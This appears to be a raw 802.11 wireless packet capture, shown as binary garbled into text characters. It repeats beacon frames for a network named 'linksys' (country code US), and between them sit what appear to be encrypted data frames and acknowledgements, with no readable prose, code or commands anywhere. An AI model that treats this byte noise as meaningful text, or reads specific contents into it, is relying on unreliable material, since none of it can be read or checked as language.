H †Â¤…ÎU˜ï †Â¤…€<¥gYDÛÎ ÔÎU˜ï¥gYDƒ-H †Â¤…ÎU˜ï †Â¤…<¥gYDÊ0 ÔÎU˜ï¦gYDâoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ph±C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD…H †Â¤…ÎU˜ï †Â¤… <¦gYD ÔÎU˜ï¦gYD{}H †Â¤…ÎU˜ï †Â¤…°<¦gYDs~ ÔÎU˜ï¦gYDð§oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ðh–²C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDz«H †Â¤…ÎU˜ï †Â¤…À<¦gYD„¬ ÔÎU˜ï¦gYDÔH †Â¤…ÎU˜ï †Â¤…Ð<¦gYD– ÔÎU˜ï¦gYDã7oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0h&´C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDÌ;H †Â¤…ÎU˜ï †Â¤…à<¦gYDÌ< ÔÎU˜ï¦gYDd–H †Â¤…ÎU˜ï †Â¤…ð<¦gYDCš ÔÎU˜ï¦gYDãÇoo€ÿÿÿÿÿÿ †Â¤… †Â¤…h¶µC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDuËH †Â¤…ÎU˜ï †Â¤…=¦gYD‘Ì ÔÎU˜ï¦gYD,H †Â¤…ÎU˜ï †Â¤…=¦gYD- ÔÎU˜ï¦gYDáWoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðhF·C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDr[H †Â¤…ÎU˜ï †Â¤… =¦gYD‚\ ÔÎU˜ï¦gYD¦›H †Â¤…ÎU˜ï †Â¤…0=¦gYDŒœ ÔÎU˜ï¦gYD¥Ÿ§§A †Â¤…ÎU˜ïfãä`  ¶.»H+s a³ )j Rû—j™‚ˆO£å–í!ßÚeRÉ¥8‹Ô³×íARsc¼8_‹™ÔBóDb¸ù sbϰÃG(hKq?¸%›7C¸¦¾´“/0d—6•Œ0©cÕS³Dø®½(ä”ÅW*áT ‰w ùÛŒèèÄà QÆ$ê¦gYDáçoo€ÿÿÿÿÿÿ †Â¤… †Â¤…PhÖ¸C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDréllBÔÎU˜ï †Â¤…fãä` ®ð^s'õ×›dÒÒü#ró¸°Ã‹Îbâ|#oì}.<»DU ÏÑ…x î—=>ûb‚¯ØÔ™¾Ûa9LJ$8§¹˜†ø„9œ®•gU¦gYD î§§A †Â¤…ÎU˜ïfãäp   ef—s¨aß-TèߘÌo½vL”Û‚p#ÀpU®9M Ãp¶K~·Þ¯`ú±g+‚òÐëe'Mšªn¿/*òé¥óˆ[s¥RŒô÷"®¢*¬äI[yQ/ •5Vá1hÚîÁG)n׳3ÇÔü1UÁÔ‰ÙŽf¹€÷×õ%ù~kÕ¦gYDlUH †Â¤…ÎU˜ï †Â¤…@=¦gYDgV ÔÎU˜ï¦gYDâY€€A †Â¤…ÎU˜ïfãä€  ÷ÿúÛ”‚Ç&RBO/-ƒö'oE{ ¶S¹3Æy “»÷*<>¨ý úeãtýè:U¾ü‘á&ÌqÐÖEŸÉî~Á. /_óú±r/ÜÖµJDÞ§‘˾|Qiõ¦gYD$]€€A †Â¤…ÎU˜ïfãä  fGK6îËlGœzŽ$GÀM ù…Nb¡xŠjþö5ÁT×øÏ²¹Š|iî—µÔ¶ÊíK- õïøs3›£OüûJôyþ…¹(*†Ï¯c¾;ˆßÀ®–Ü»3}ŠO¦gYD$´llBÔÎU˜ï †Â¤…fãäp ð³°óËnÊ÷³!!E:v}8âǦ”Šê¤€(ÓÏ]xá)æwÒUgd®[}IóÉ\l¡ãã‡_ë\'¼RɳX1*9$Ñ™Œ¦gYDn H †Â¤…ÎU˜ï †Â¤…P=¦gYDj ÔÎU˜ï¦gYDNS H †Â¤…ÎU˜ï †Â¤…`=¦gYDUT ÔÎU˜ï¦gYDÝw oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÐhfºC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD­{ H †Â¤…ÎU˜ï †Â¤…p=¦gYDi} H †Â¤…ÎU˜ï †Â¤…p=¦gYDg~ ÔÎU˜ï¦gYDŠÛ H †Â¤…ÎU˜ï †Â¤…€=¦gYD]Ü ÔÎU˜ï¦gYDÜ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0hö»C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYDj H †Â¤…ÎU˜ï †Â¤…=¦gYDr ÔÎU˜ï¦gYDæk H †Â¤…ÎU˜ï †Â¤… =¦gYDn ÔÎU˜ï¦gYD¹™ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Dˆ½C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD H †Â¤…ÎU˜ï †Â¤…°=¦gYDž ÔÎU˜ï¦gYDBü H †Â¤…ÎU˜ï †Â¤…À=¦gYDý ÔÎU˜ï¦gYDÝ'oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðh¿C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¦gYD+H †Â¤…ÎU˜ï †Â¤…Ð=¦gYDƒ, ÔÎU˜ï¦gYD`@H †Â¤…ÎU˜ï †Â¤…à=¦gYDHA ÔÎU˜ï§gYD««A †Â¤…ÎU˜ïfãä   ®P‡c —È6æØ³÷ªcÜó‚ýk×îÚ¾wÊÈÊMd¿ôç¬n\жbÚf™è¯ÖgGæèž(`V^~^}ecOœÅ¤\Û«Ú„odV`A8g’0t€F+,F©oæü•÷Oý¨“q-fOV\#%ißúq>? •.•€S¶ýî¶å¶O§gYD®ÕÕA †Â¤…ÎU˜ï^ÿú°  )ª(Sä§è¾;º’Q’9ôw?À0ß‚-^\ËÑ7¬¸v…G¢îS›±è¢ò}¹±=‰å:€‘á›Z&Ü×3ȘñT¬yLÿɃë2¿8¢[õô£];Ÿ™ €+,øl ÑÉt± ס¢JvJDåùŒKò^¨§¼Ö‡ë*“vÛTmÜ(Hç&&‡Ý5Ëò—p7ÄÚ²ØušÏj"üŽ НòÿÐÌËý!yÕýMO±1¸Ýõ™¡9_YárƲ_§gYD¯ÕÕB^ÿú †Â¤…ÎU˜ï `úAö>òI¸t‘ÙiÕ'xæÝØÂí'…Ó­:Ï;‚Ü+ve;îÌGG—s…¥÷H“¼ ¨åÎß ©Ê a7e:<évRÓü §U<ŽšJ 6é*ÌŠ] ÃÕ°¥â£ÍÛ2GŸÂ±ÂT§N%;Yö9Ü`‘µtãe㬓L@ñ†| SJù SúÚ—d4Jõ Ðó=Jا€¸|¬Þ­BZõ'¹OÞÄ.:R;Q^ܘ§gYDý¢¢BÔÎU˜ï †Â¤…¿0 nÀþ×MˆŠl÷o* á2»oÛxSÒO‚øíÓ½ùÚ'¥k@äy;HÝù‚1ò÷Ë×­TûL=@—ðrT,ǹնHx>’A—ÒÚZ¾¼º{‰bÀHª‹õ©—úÉd?íd²ƒ2Up€Þˆ™Û9Ê©9­u­•Ÿ ãÊV×w™ 40,îyúU^ˆ¢½žÑèåéüÚGP™'o_eû ßÔÏ^r= 0’£›¯·™•-á¬<úJª¤¯7×éIò]c›.³š6ì(¿L?¡•ú¤Üîi$bIË š¶4PÚqVñ¹µjß’ånåDÊ º“lIÇEÕ݉«1)D‚–û ]”y=±¯°»ÓȃæºùZKe9q5æÔ¨õã8ï!4ŽŸ|†þž€q(€ûÀ(4¾ô#¦´E)dÛsøýš¯6BÓÙî¡:A\±M£.ûÔ‚<©O ‚8f±?¨Ä‘©‘-?|<Âv› §gYD^8ŒŒA †Â¤…ÎU˜ïfãäÀ  ð)ãÙ‰µ eœÌ—Åä1ù¨³6à=ŸµBÍË:oºÆ9ÉÀŽB²ÕÀuÉ| þiÍñHâ0áA@0…5’>h ÷Ý ‘2Q0xuÄÒ[þy÷oËK½Gço®H³ Ž;gØå¬x^KsôÄ·§gYD›uoo€ÿÿÿÿÿÿ †Â¤… †Â¤…€h¦ÀC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD H †Â¤…ÎU˜ï †Â¤…ð=§gYD¡ ÔÎU˜ï§gYD´ÚH †Â¤…ÎU˜ï †Â¤…>§gYDôÝ ÔÎU˜ï§gYDËßÈÈBÔÎU˜ï †Â¤…fãä  53 ¯F¢A=#â·Žï}¸¶Ê­`»`\ëåŸWäÃr~f.3 4ãÙØÛÀÔ0@.m‰näïx¤™º¶í~o¨WR%±ÐZí×&œ’­÷cБB¸ûµ—-´‘';Ò*¹šÈvÔ&î°·[üéúVl/Ò:Ÿúä9|áÓ »€Mß'_c–î“Ûäñ0/fº•¦¥2Üa Ûº€>óʧgYD›oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðh6ÂC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD{IH †Â¤…ÎU˜ï †Â¤…>§gYDJ ÔÎU˜ï§gYD iH †Â¤…ÎU˜ï †Â¤… >§gYDÑi ÔÎU˜ï§gYD›•oo€ÿÿÿÿÿÿ †Â¤… †Â¤…PhÆÃC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD³™H †Â¤…ÎU˜ï †Â¤…0>§gYD¶š ÔÎU˜ï§gYD\÷H †Â¤…ÎU˜ï †Â¤…@>§gYDGø ÔÎU˜ï§gYD—%oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°hVÅC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDù(H †Â¤…ÎU˜ï †Â¤…P>§gYD* ÔÎU˜ï§gYDH †Â¤…ÎU˜ï †Â¤…`>§gYD÷ ÔÎU˜ï§gYD™µoo€ÿÿÿÿÿÿ †Â¤… †Â¤…hæÆC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD6¹H †Â¤…ÎU˜ï †Â¤…p>§gYD@º ÔÎU˜ï§gYDH †Â¤…ÎU˜ï †Â¤…€>§gYDÄ ÔÎU˜ï§gYD'··B:ÎU˜ï †Â¤… †Â¤…   Xw'Õ½n3>ŽE1Q­Õ+R¶-8ƒ¦ÀÙ®p×ç:ÆŸ“3Ö©ŸN“Ö„u'åà)»:Ž[N´ ›W%¡s á³4-m=b\êÖŒÅÐÚ 2îö&˜E)ÜB‹ÅŸøs"U}BVhZÞs¢ÜJ|r‚âv‡ã•Þí,—¢À×;>Xå×~ŒÂDŠèûî‹0­†þ‹©§gYD-——A †Â¤…ÎU˜ï †Â¤…Ð  jÉÖÃ*q¹ÔgÈŒVéd×ÿæyÅËE¡d64y SX­•|“1Z˜²0†ÙéGqã»u|ü[‡ ­s<âé(òtßÔ®w•]x%&Éç¼>¤¢€ ¾(åÓQæÄÝ^ Á:ò>¬â¥^O84š³´¨]OÍð§gYD. ÔÎU˜ï§gYDŠGoo€ÿÿÿÿÿÿ †Â¤… †Â¤…€[xÈC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDaJUUA †Â¤…ÎU˜ïfãäà  c‹IÄE[ÈúòIÉ^/U«SÙ‘ÄûÕpj­Úþ¯pD#ùÁá(× ` ×–¡6§gYD˜PbbBÔÎU˜ï †Â¤…fãä  .q‘-@Ðg@z*i1Æ9RüÑÓž·{Ä]öæê¹^W·¸¥‡µâ÷ŠûöÛ <Š(<ã%Œ;]r_âŽDX÷îæ(§gYDѺH †Â¤…ÎU˜ï †Â¤…>§gYDл ÔÎU˜ï§gYDOª H †Â¤…ÎU˜ï †Â¤… >§gYD%« ÔÎU˜ï§gYD˜Õ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…ðhÊC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYD+Ù H †Â¤…ÎU˜ï †Â¤…°>§gYD3Ú ÔÎU˜ï§gYD˜< H †Â¤…ÎU˜ï †Â¤…À>§gYDg= ÔÎU˜ï§gYD–e oo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ph–ËC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDBi H †Â¤…ÎU˜ï †Â¤…Ð>§gYDIj ÔÎU˜ï§gYD„Î H †Â¤…ÎU˜ï †Â¤…à>§gYDcÏ ÔÎU˜ï§gYD•õ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…°h&ÍC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDiù H †Â¤…ÎU˜ï †Â¤…ð>§gYDbú ÔÎU˜ï§gYDsUH †Â¤…ÎU˜ï †Â¤…?§gYD`V ÔÎU˜ï§gYD”…oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h¶ÎC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ§gYDîˆH †Â¤…ÎU˜ï †Â¤…?§gYD÷‰ ÔÎU˜ï¨gYD¢ªH †Â¤…ÎU˜ï †Â¤… ?¨gYD¤« ÔÎU˜ï¨gYDRÓoo€ÿÿÿÿÿÿ †Â¤… †Â¤…p hFÐC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYD×H †Â¤…ÎU˜ï †Â¤…0?¨gYD#Ø ÔÎU˜ï¨gYD¾7H †Â¤…ÎU˜ï †Â¤…@?¨gYD†8 ÔÎU˜ï¨gYDRcoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð hÖÑC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDgH †Â¤…ÎU˜ï †Â¤…P?¨gYDh ÔÎU˜ï¨gYDNÂH †Â¤…ÎU˜ï †Â¤…`?¨gYDNÆ ÔÎU˜ï¨gYDSóoo€ÿÿÿÿÿÿ †Â¤… †Â¤…0 hfÓC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDæöH †Â¤…ÎU˜ï †Â¤…p?¨gYDï÷ ÔÎU˜ï¨gYDa\H †Â¤…ÎU˜ï †Â¤…€?¨gYD4` ÔÎU˜ï¨gYDSƒoo€ÿÿÿÿÿÿ †Â¤… †Â¤… höÔC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDĆH †Â¤…ÎU˜ï †Â¤…?¨gYD½‡ ÔÎU˜ï¨gYDäæH †Â¤…ÎU˜ï †Â¤… ?¨gYD¨ç ÔÎU˜ï¨gYDQoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ð h†ÖC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDÚH †Â¤…ÎU˜ï †Â¤…°?¨gYDà ÔÎU˜ï¨gYDyH †Â¤…ÎU˜ï †Â¤…À?¨gYDßy ÔÎU˜ï¨gYDU£oo€ÿÿÿÿÿÿ †Â¤… †Â¤…P hØC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDƒ§H †Â¤…ÎU˜ï †Â¤…Ð?¨gYD{¨ ÔÎU˜ï¨gYDò H †Â¤…ÎU˜ï †Â¤…à?¨gYDÜ ÔÎU˜ï¨gYDQ3 oo€ÿÿÿÿÿÿ †Â¤… †Â¤…° h¦ÙC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDä6 H †Â¤…ÎU˜ï †Â¤…ð?¨gYDY8 ÔÎU˜ï¨gYDÒ• H †Â¤…ÎU˜ï †Â¤…@¨gYD˜– ÔÎU˜ï¨gYDNà oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h6ÛC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDïÆ H †Â¤…ÎU˜ï †Â¤…@¨gYD È ÔÎU˜ï¨gYD ( H †Â¤…ÎU˜ï †Â¤… @¨gYD) ÔÎU˜ï¨gYDNS oo€ÿÿÿÿÿÿ †Â¤… †Â¤…p hÆÜC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDðV H †Â¤…ÎU˜ï †Â¤…0@¨gYDþW ÔÎU˜ï¨gYDcºH †Â¤…ÎU˜ï †Â¤…@@¨gYD]» ÔÎU˜ï¨gYDRÆ}}A †Â¤…ÎU˜ïfãäð  †‘XlÄèjt»êØMÏ÷`ö÷Œà.h ʚќtÎÔŸRûÅi¨EKo85ŽÔgYHi ­»HV¯¤5Ü'˜049VZÝÄP<ËîRR<ŠÍVä}ƒG¨gYDNãoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð hVÞC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ¨gYDº}}A †Â¤…ÎU˜ïfãä  .q9£/¯BÏÑîdeMeû–ý€d!lÇDÎ*»B®*Pc\,a@­7eš[_;·ÉxÌ¢Š¶¡ÆÅh²„¤™›½h¾o;¡.ŸSè!®%.0n¢á •©gYDZ)H †Â¤…ÎU˜ï †Â¤…P@©gYD˜* ÔÎU˜ï©gYDH †Â¤…ÎU˜ï †Â¤…`@©gYDè ÔÎU˜ï©gYD1oo€ÿÿÿÿÿÿ †Â¤… †Â¤…0 hæßC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYD£4H †Â¤…ÎU˜ï †Â¤…p@©gYDª5 ÔÎU˜ï©gYDì”H †Â¤…ÎU˜ï †Â¤…€@©gYDW˜ ÔÎU˜ï©gYD Áoo€ÿÿÿÿÿÿ †Â¤… †Â¤… hváC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYD®ÄH †Â¤…ÎU˜ï †Â¤…@©gYD±Å ÔÎU˜ï©gYD0'H †Â¤…ÎU˜ï †Â¤… @©gYD:( ÔÎU˜ï©gYD Qoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ð hãC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYDåTH †Â¤…ÎU˜ï †Â¤…°@©gYDéU ÔÎU˜ï©gYD‘µH †Â¤…ÎU˜ï †Â¤…À@©gYDW¶ ÔÎU˜ï©gYD áoo€ÿÿÿÿÿÿ †Â¤… †Â¤…Ph–äC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ©gYDŸäH †Â¤…ÎU˜ï †Â¤…Ð@©gYD§å ÔÎU˜ï©gYD›iH †Â¤…ÎU˜ï †Â¤…à@©gYDŒj ÔÎU˜ï©gYDômPPA †Â¤…ÎU˜ïÿÿÿÿÿÿ  TËí7挠«~: ñK|&¾?2wñ¼M¿šH˜V¯¼÷M¤»€Ö¦{kí0ºu /†©gYDën ÔÎU˜ï©gYD8tbbBÿÿÿÿÿÿ †Â¤…ÎU˜ï` !`çÿ2žqj«RÓÈûþZMÁm“Z«!yÏrÔz^…»ÁÉ`|ª¬oÙ „`–í B'»T/jt/\Û©gYDvbbBÔÎU˜ï †Â¤…fãäp  E \8ÌVØ <Eü@`ÇBÝvµ‚Šj†3 죠|’êšÂ½M“ÒÑïhÌ6>|¦K þ3 „ ^©gYDcyUUA †Â¤…ÎU˜ïfãä   jk3†‰s¸ñÆVòß*˜~ÄTîæÃp­Ï%~¹‰ÿòN~tŸ¬aÕI²Ýù„6y²”©gYDMbbBÔÎU˜ï †Â¤…fãä€  qŸ ,<߰ݾ!Ý8H^w¤%A—µ§Ù¸ZNh™PúAé"gïkÞàk…ŠW¿ÀÎ=4z>"p•)êÚ¹dö׎ÎÓsƒÞËË¿„Xù›©¥°¿0ó³­x/Ûé9ÉY~Òæ›ºê쟖¬g­ˆÚÝ(ØÕÎË¥ð.þ“7 ÂõèªgYDÞ ÕÕB^ÿú †Â¤…ÎU˜ïÐ "`~ôѦ3âE¸P—ÁZtúÜÇe÷ ‹6Lë—'È÷A–­¤ªK+ß½‘eQ§íÇ…Õ¾|ü/a4Âû/üÚVSýêIâí…‰³K+n>#ü›Õ½5Ô ?)/eò~w_áÌ™ËÛKÅ27r”:Ò4^J`/‹n{Ä-îiït^Г¡4IXòáÙᨠ,i1ì8}2؆#0e™·Àþ[’?—ãZÞ –˜œŸªgYD¢¢BÔÎU˜ï †Â¤…¿0à  xÀ‘"¾éo«sÒ„-Ö› eߪðÖCùü– <ÙtâUÞ¥Æû.$tŒ?à «°]ÜH‘e_X›½Þj‰‡e¬I'9ÊF„·›¹‹2eÎZ —Ø|u8zèñKò:ÂÍOEÔ~ Ü,ô³›AÌR·?·IN¶1LÍžó‘‡o÷â÷òÍ®)betÄ ÉkЫ@q4ûWÔ×Guù«dTc<¨¤Wž…¨Y§ªXô£Dº¯6¾Ù£Üc›Œ0‡2úcQç4û‰dèÕü)hañ›jRa'Ò2骹Ї-7SÞscò{ö ²ùøN^F_CÏÚSýÕvîÕ£}‘ê‹bÄÊÏËK̼¿'c>EÅꎟâCæô½Riž†$œœnõBäF]¯,r0´Ò¥îA‚êLêàÓ²DÚ«™1ë•@‹a×Q¢Ø¯C®Wß[T’”ýYÊÌ:­/€mÛÀº¸½“­ú6Áë`(§8¼ÄR£Øõº‰në1´rv§~V\¹/›qªgYD`xH †Â¤…ÎU˜ï †Â¤…°AªgYDÕy ÔÎU˜ïªgYDãcH †Â¤…ÎU˜ï †Â¤…ÀAªgYDÊd ÔÎU˜ïªgYDÆŽoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@h†ïC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD‚’H †Â¤…ÎU˜ï †Â¤…ÐAªgYDƒ“ ÔÎU˜ïªgYDAöH †Â¤…ÎU˜ï †Â¤…àAªgYD7÷ ÔÎU˜ïªgYDÆoo€ÿÿÿÿÿÿ †Â¤… †Â¤… hñC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDZ"H †Â¤…ÎU˜ï †Â¤…ðAªgYDf# ÔÎU˜ïªgYD݃H †Â¤…ÎU˜ï †Â¤…BªgYD–„ ÔÎU˜ïªgYDÔ®oo€ÿÿÿÿÿÿ †Â¤… †Â¤…h¦òC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD[²H †Â¤…ÎU˜ï †Â¤…BªgYDd³ ÔÎU˜ïªgYDÇH †Â¤…ÎU˜ï †Â¤… BªgYD  ÔÎU˜ïªgYDÖ?oo€ÿÿÿÿÿÿ †Â¤… †Â¤…`z7ôC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDCH †Â¤…ÎU˜ï †Â¤…0BªgYDuD ÔÎU˜ïªgYD#¡H †Â¤…ÎU˜ï †Â¤…@BªgYD¢ ÔÎU˜ïªgYDÃÎoo€ÿÿÿÿÿÿ †Â¤… †Â¤…ÀhÆõC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD7ÒH †Â¤…ÎU˜ï †Â¤…PBªgYDOÓ ÔÎU˜ïªgYD•H †Â¤…ÎU˜ï †Â¤…`BªgYD¡ ÔÎU˜ïªgYD‘§§A †Â¤…ÎU˜ïfãä@  ®£BØqñ,GD€¨8Üë äçI¢­vX¯ Íà~l¾pòþø4Ë.õSŸ7;û¾‰ì§¿¢d EdÌx‡øvh‘%,•àûÁ–µÚâ‘þñíXuò†bnÏcæØM Bx+/Êpm[EšÑ`bÙ‘†ŒÀqÊrzRo¤-@ÒÎ1’ÿ¹ªgYD.ƒH †Â¤…ÎU˜ï †Â¤…pBªgYD!„ ÔÎU˜ïªgYD\3 H †Â¤…ÎU˜ï †Â¤…€BªgYDT4 ÔÎU˜ïªgYDÀ^ oo€ÿÿÿÿÿÿ †Â¤… †Â¤… hV÷C%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD†b H †Â¤…ÎU˜ï †Â¤…BªgYDŠc ÔÎU˜ïªgYD$Å H †Â¤…ÎU˜ï †Â¤… BªgYDßÅ ÔÎU˜ïªgYDÂî oo€ÿÿÿÿÿÿ †Â¤… †Â¤…€hæøC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDlò H †Â¤…ÎU˜ï †Â¤…°BªgYDxó ÔÎU˜ïªgYDüW H †Â¤…ÎU˜ï †Â¤…ÀBªgYDf[ ÔÎU˜ïªgYDÁ~ oo€ÿÿÿÿÿÿ †Â¤… †Â¤…àhvúC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYDr‚ H †Â¤…ÎU˜ï †Â¤…ÐBªgYDkƒ ÔÎU˜ïªgYDxâ H †Â¤…ÎU˜ï †Â¤…àBªgYD]ã ÔÎU˜ïªgYD¿oo€ÿÿÿÿÿÿ †Â¤… †Â¤…@hüC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þªgYD_H †Â¤…ÎU˜ï †Â¤…ðBªgYDg ÔÎU˜ï«gYDn2H †Â¤…ÎU˜ï †Â¤…C«gYD^3 ÔÎU˜ï«gYD\oo€ÿÿÿÿÿÿ †Â¤… †Â¤… h–ýC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ«gYD `H †Â¤…ÎU˜ï †Â¤…C«gYD(a ÔÎU˜ï«gYDKÈH †Â¤…ÎU˜ï †Â¤… C«gYD?É ÔÎU˜ï«gYD|ìoo€ÿÿÿÿÿÿ †Â¤… †Â¤…h&ÿC%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ«gYDOðH †Â¤…ÎU˜ï †Â¤…0C«gYDñ ÔÎU˜ï«gYDº £ÊÊ;Ë­`©»[­gYD©# €€A †Â¤…ÎU˜ïfãä`  PXb³ôq‹Œ5X-¨Qžcs"å]ĸìߦ ±ŠTm<;)/;ÙÛj!9š-bpé4šÃyðk·Îž†l¨XÊ…xN†»²v¢¶ÅÔçj²™H=©È #,am>Dð+­gYDM ¼¼BÔÎU˜ï †Â¤…fãä0  ðjS]¶ÒÉ®Ôy +|^ Å8V'Ü^ZHP¾¤{%¦ËžkE¥+¦¹8âøS ¤™ôeÐæ5™g Â×`{é>Þ½£år›˜¢x°'7•ÓÔª:‹Dˊİ„o5p°ÎˆëƒT`—c²Féÿî!$7»j¶.VÆÿËÆÒÖÍ.>r¡é5Ñ Õm·siÁy6 Þ­gYDÈ\ ¼¼BÔÎU˜ï †Â¤…fãä@  ^pƒð ßfyóã…Ó?UÕŽp¥d2ûÐãkŽÑŸXq*&ÂDb2wÚ—¨@`p Ñï惘J’_*„^~¹4ébÌ‹škûõ¢ˆ‹|M3£Gh/Gü]`í±~ïIבR•êÒGL ]ÄßÐ?#0júp³¾hREÌ+ d-},}ði(8)ÊR¢Â˜ã–Êh­gYD®v H †Â¤…ÎU˜ï †Â¤…H­gYDŸw ÔÎU˜ï­gYDC| oo€ÿÿÿÿÿÿ †Â¤… †Â¤… ¯:&D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÜF H †Â¤…ÎU˜ï †Â¤…àH­gYDÛG ÔÎU˜ï­gYD›Á }}A †Â¤…ÎU˜ïfãäp  ÃKð<Åt±€?ßF€ÓÃÍúÈ‚Ì; p+¡`Ä4å¬jÐ$×gÑZ9ù–#iøÇÑæ²×}50»ÍÎBwç|2ð¡»ó’Ÿ—Æù@½cŒ›®©ÇÒ<Ÿ›=êk©¨ ­gYDèË }}A †Â¤…ÎU˜ïfãä€ 3í»ÐÛ%H§#+kW¦åž/ÐyÓðϾ”_=ÄÛ[ÓRÚ+프}UQa¸ìïØAtv-˜4ØJêÆìÞ!âLa{ÿd^5÷È1êŠA÷5¶þµ©}¾ɰk­gYDê ¹¹BÔÎU˜ï †Â¤…fãä°  0ñÐP†•)QïÒ3H™q…Œï×¼ÊÐ’ãEáŽÂÌÓ<ö—qK),2n:‡9FÓ‘„7wÿÙ¿xx@r°ì¢2ÛÖ;j<7hð¬H²Þ5g]¦õ_³WßµÏf#«&É̺áé×2Á妀…¦,´I‹n+ «ÛKÇóèÁ|è¡jg8ú7…ˆ»†åñÊauðþ•ßè‚N&­gYD6í ¹¹JÔÎU˜ï †Â¤…fãä°  0ñÐP†•)QïÒ3H™q…Œï×¼ÊÐ’ãEáŽÂÌÓ<ö—qK),2n:‡9FÓ‘„7wÿÙ¿xx@r°ì¢2ÛÖ;j<7hð¬H²Þ5g]¦õ_³WßµÏf#«&É̺áé×2Á妀…¦,´I‹n+ «ÛKÇóèÁ|è¡jg8ú7…ˆ»†åñÊauðþ•ßè‚N&­gYDì oo€ÿÿÿÿÿÿ †Â¤… †Â¤…hÆ'D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÆ ¹¹JÔÎU˜ï †Â¤…fãä   S8âG^;Ïsî²X)œ3‹Â8Ü•˜Z)ˆ:ÖuŨI®•"?0Ò‘¦o %UbÅ.‡ƒ(ÀŒçr.9Ùh8Ä!yõ~žÁ §z´€"AÀ0KãÆíRVk«âÒ<'Ü%†ì^à>Üm׀ݠë’dÕ»\Æ0ððÑĘ8Iô Úoæ|µØ=?¼0Âé&ªlCRθ­gYDê— oo€ÿÿÿÿÿÿ †Â¤… †Â¤…€hV)D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYDÉ H †Â¤…ÎU˜ï †Â¤…ðH­gYDÍ  ÔÎU˜ï­gYDlýH †Â¤…ÎU˜ï †Â¤…I­gYDTþ ÔÎU˜ï­gYDë'oo€ÿÿÿÿÿÿ †Â¤… †Â¤…àhæ*D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ­gYD™+H †Â¤…ÎU˜ï †Â¤…I­gYD©, ÔÎU˜ï®gYDÛIH †Â¤…ÎU˜ï †Â¤… I®gYD¤M ÔÎU˜ï®gYDªuoo€ÿÿÿÿÿÿ †Â¤… †Â¤…@ hv,D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYDMyH †Â¤…ÎU˜ï †Â¤…0I®gYDUz ÔÎU˜ï®gYD6ÜH †Â¤…ÎU˜ï †Â¤…@I®gYDÝ ÔÎU˜ï®gYD¬oo€ÿÿÿÿÿÿ †Â¤… †Â¤…  h.D%d1linksys‚„ US    *ÝPòPòPòPò« †¬þ®gYD@ H †Â¤…ÎU˜ï †Â¤…PI®gYDF  ÔÎU˜ï®gYDjH †Â¤…ÎU˜ï †Â¤…`I®gYDZk 